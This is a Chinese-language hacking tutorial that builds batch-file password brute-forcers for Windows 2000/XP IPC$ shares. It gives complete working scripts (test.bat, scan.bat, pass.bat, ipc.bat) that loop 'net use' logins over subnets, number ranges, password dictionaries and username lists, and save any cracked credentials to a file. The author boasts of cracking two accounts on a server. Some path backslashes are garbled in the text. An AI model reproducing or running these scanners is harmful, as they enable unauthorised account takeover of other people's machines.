几天前在安全焦点上看见web_wolf的一篇帖子“173字节的nt_server弱口令扫描器”内容如下:
批处理文件test.bat
-------------------
@echo off
echo 格式:test *.*.*test.txt
for /L %%G in (1 1 254) do echo %1.%%G test.txt & net use \%1.%%Gipc$ "" /use:"Administrator" | find "命令成功完成" test.txt
这个批处理文件的功能是对你指定的一个C类网段中的254个ip依次试建立帐号为administrator口令为空的ipc$连接,如果成功就把结果记录在test.txt。短短173字节,就实现了弱口令扫描的功能!
惊叹web_wolf思维之独到并感慨吾等菜鸟何日能成正果之时,不禁也有所悟:win2k命令行命令也可以用来远程破解NT弱口令!
我们知道,在win2k命令行下有个for命令,其功能是对一组文件中的每一个文件执行某个特定命令,也就是可以用你指定的循环范围生成一系列命令。
For命令的格式为:
FOR %variable IN (set) DO command [command-parameters]
当然,for命令最强大的功能,表现在它的一些高级应用中。譬如可以用 /r 参数遍历整个目录树;可以用 /f 参数将文本文件内容作为循环范围;可以用 /f 参数将某一命令执行结果作为循环范围等等。在这里我不一一说明其用法,如果你不熟悉for命令,可以参考相关资料教程。
For命令应用最简单的例子,就是人工指定循环范围,然后对每个值执行指定的命令如果我们把密码做为循环值,把net use命令作为指定命令。那将会产生什么样的效果呢?请看下面的命令:
for /l %i in (100,1,999) do net use \ipipc$ "%i" /user: "username"
解释一下:username是你用nbtstat得到的用户名,这条命令的功能是对指定username进行3位数纯数字密码依次尝试建立ipc连接,直到建立成功或者数字全部试完。如果你网速够快的话,跑完这900个数字也需要多长时间。
也许你想到了,如果对方密码不是纯数字怎么办?有办法!我们还可以用字典,上面不是提到了可以用 /f 参数将文本文件内容作为循环范围吗?
for /f %i in (pass.txt) do net use \ipipc$ "%i" /user:"username"
pass.txt是字典文件,其格式为一个密码占一行。例如:
123
1234
12345
abc
abcd
这条命令的功能是对指定帐号username用密码字典pass.txt中的密码依次尝试建立ipc连接,直到建立成功或者密码全部试完。
可问题还是有,虽然这样我们碰巧是能连接成功,可我们仍然不知道密码啊,下次要用还得重新全部试过。 我们应该想办法把尝试成功的用户名和密码保存在指定文件才行啊!
以下是我实验后的结果,也许不是什么好方法,但是完全可以实现对指定ip扫描并且把结果保存在指定文件。
由于我们现在要实现的功能不是一句命令所能完成的,所以我们把所有命令写成批处理文件。
先提醒一下,在批处理文件中使用 FOR 命令时,指定变量使用 %%variable,而不是%variable。
将下面内容存为scan.bat:
@echo off
echo Written By ypy %4
echo Email:ypy_811@eyou.com %4
echo --------------------------------- %4
date /t %4
time /t %4
echo ---- %4
echo Result:%4
start "scan…" /min cmd /c for /f %%i in (%2) do call ipc.bat %1 "%%i" %3 %4
exit
将下面内容存为ipc.bat:
net use \%1ipc$ %2 /user:"%3"
goto result%ERRORLEVEL%
:result0
echo Remote Server:%1 %4
echo Username:%3 %4
echo Password:%2 %4
echo ---- %4
net use \%1ipc$ /del
exit
:result2
ipc.bat中的%ERRORLEVEL%表示取前一命令执行后的返回结果。net use命令成功完成返回0,失败返回2。
将scan.bat和ipc.bat存放于system32目录中,用法如下:
scan.bat 主机 密码字典文件 用户名 结果存放文件
例如:
scan.bat 192.168.35.17 d:pass.txt administrator d:
esult.txt
密码破解出来之后,存放于d:
esult.txt里面。
我稍微解释一下扫描的原理,就是对帐号administrator用密码字典pass.txt中的密码依次尝试建立ipc连接,如果成功,则记录密码,不成功则试下一个密码。
可是细心的你肯定又发现问题了,这样只能指定用户名啊?如果我用nbtstat探测到了十几个用户,就需要打十几遍命令?
既然我们可以从指定文件中循环取密码,那我们也可以从另一指定文件中循环取用户名啊,让我们再来修改一下:
将下面内容存为scan.bat:
@echo off
echo --------------------------------- %4
echo Written By ypy %4
echo Email:ypy_811@eyou.com %4
echo --------------------------------- %4
date /t %4
time /t %4
echo Result:%4
echo ---- %4
start "scan..." /min cmd /c for /f %%i in (%3) do call pass.bat %1 %2 "%%i" %4
exit
将下面内容存为pass.bat:
start "scan..." /min cmd /c for /f %%i in (%2) do call ipc.bat %1 "%%i" %3 %4
将下面内容存为ipc.bat:
net use \%1ipc$ %2 /user:"%3"
goto result%ERRORLEVEL%
:result0
echo Remote Server:%1 %4
echo Username:%3 %4
echo Password:%2 %4
echo ---- %4
net use \%1ipc$ /del
exit
:result2
将scan.bat、pass.bat和 ipc.bat存放于system32目录中,用法如下:
scan.bat 主机 密码字典文件 用户字典文件 结果存放文件
例如:
scan.bat 192.168.35.17 d:pass.txt d:user.txt d:
esult.txt
其中用户字典文件user.txt的内容是你用nbtstat探测到的所有用户名,其格式和密码字典文件一样,一个字符串占一行。例如:
administrator
admin
ypy
这样扫描的原理是对用户字典user.txt中的每一个用户,同时用密码字典pass.txt中的密码依次尝试建立ipc连接,如果成功则记录用户名和密码,如果不成功就试下一个密码。
现在是不是有点对user.txt中的用户暴力跑ipc获得密码的味道啊?呵呵。我用这个简单弱口令扫描器挂了一个xkey做的字典扫一台有八个用户的win2k server,还真扫出了两个密码!而且速度很快!
好了,在Win2k命令行下简单做弱口令扫描器的方法就先介绍到这里,可能还有许多种更简单的方法能实现相同的功能,你可以去尝试一下。
事实上,当微软从win2k开始将命令行增强后,借鉴了相当多unix的优点,虽然还不至于像unix那么灵活,但可以实现的功能已相当之多。
写本文是希望起到介绍和抛砖引玉的效果。所以没有实验更多功能,故给出几点说明:
1.不能对指定网段扫描。
2.此扫描原理是用帐号和密码循环建立ipc$连接,因此如果对方没开139端口或者删除了ipc$共享,那就不能工作了,呵呵。
3.扫描方式是用户字典中的用户名同时在挂密码字典跑ipc,由于不允许一个用户使用一个以上用户名与一台 服务器或共享资源多重连接,导致有的的帐号密码本应该真确的可返回的结果为失败,所以有时候会漏报。
但是如果你的字典中帐好和密码至少有一对正确的话,那至少能记录一对正确结果。
4.文中所有例子在win2k server和win xp上通过测试。